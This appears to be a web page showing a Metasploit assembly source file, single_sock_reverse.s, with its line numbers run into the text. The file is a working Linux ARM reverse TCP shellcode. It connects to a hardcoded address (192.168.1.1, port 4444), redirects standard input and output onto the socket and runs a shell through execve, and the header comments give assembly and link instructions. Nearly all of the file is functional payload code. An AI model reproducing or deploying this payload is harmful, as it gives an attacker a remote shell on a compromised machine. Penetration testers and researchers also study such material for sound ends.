Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/linux/armle/single_sock_reverse.s
Views: 11784
@@1@2@ Name: single_sock_reverse3@ Qualities: -4@ Authors: civ, repmovsb5@ License: MSF_LICENSE6@ Description:7@8@ Implementation of a Linux reverse TCP shellcode for ARM LE architecture.9@10@ This source is built from the payload module (instead of other way around...)11@12@ Assemble with: as single_sock_reverse.s -o single_sock_reverse.o13@ Link with: ld single_sock_reverse.o -o single_sock_reverse14@15@ Meta-Information:16@17@ meta-shortname=Linux Reverse TCP18@ meta-description=Connect back to the framework and run a second stage19@ meta-authors=civ, repmovsb20@ meta-os=linux21@ meta-arch=armle22@ meta-category=singles23@ meta-connection-type=reverse24@ meta-name=reverse_tcp25@@2627.text28.globl _start29_start:30@ int socket(int domain, int type, int protocol);31@ socket(2,1,6)32mov r0, #233mov r1, #134add r2, r1, #535mov r7, #14036add r7, r7, #14137svc 03839@ connect(soc, socaddr, 0x10)40mov r6, r041add r1, pc, #9642mov r2, #1643mov r7, #14144add r7, r7, #14245svc 04647@ dup2(soc,0) @stdin48mov r0, r649mov r1, #050mov r7, #6351svc 05253@ dup2(soc,1) @stdout54mov r0, r655mov r1, #156mov r7, #6357svc 05859@ dup2(soc,2) @stderr60mov r0, r661mov r1, #262mov r7, #6363svc 06465@ execve(SHELL, [ARGV0], [NULL])66add r0, pc, #3667eor r4, r4, r468push {r4}69mov r2, sp70add r4, pc, #3671push {r4}72mov r1, sp73mov r7, #1174svc 07576@ addr77@ port: 4444 , sin_fam = 278.word 0x5c11000279@ ip: 192.168.1.180.word 0x0101a8c081@.word 0x0100007f8283@ SHELL84.word 0x00000000 @ the shell goes here!85.word 0x0000000086.word 0x0000000087.word 0x0000000088@ ARGV089.word 0x00000000 @ the args!90.word 0x0000000091.word 0x0000000092.word 0x00000000939495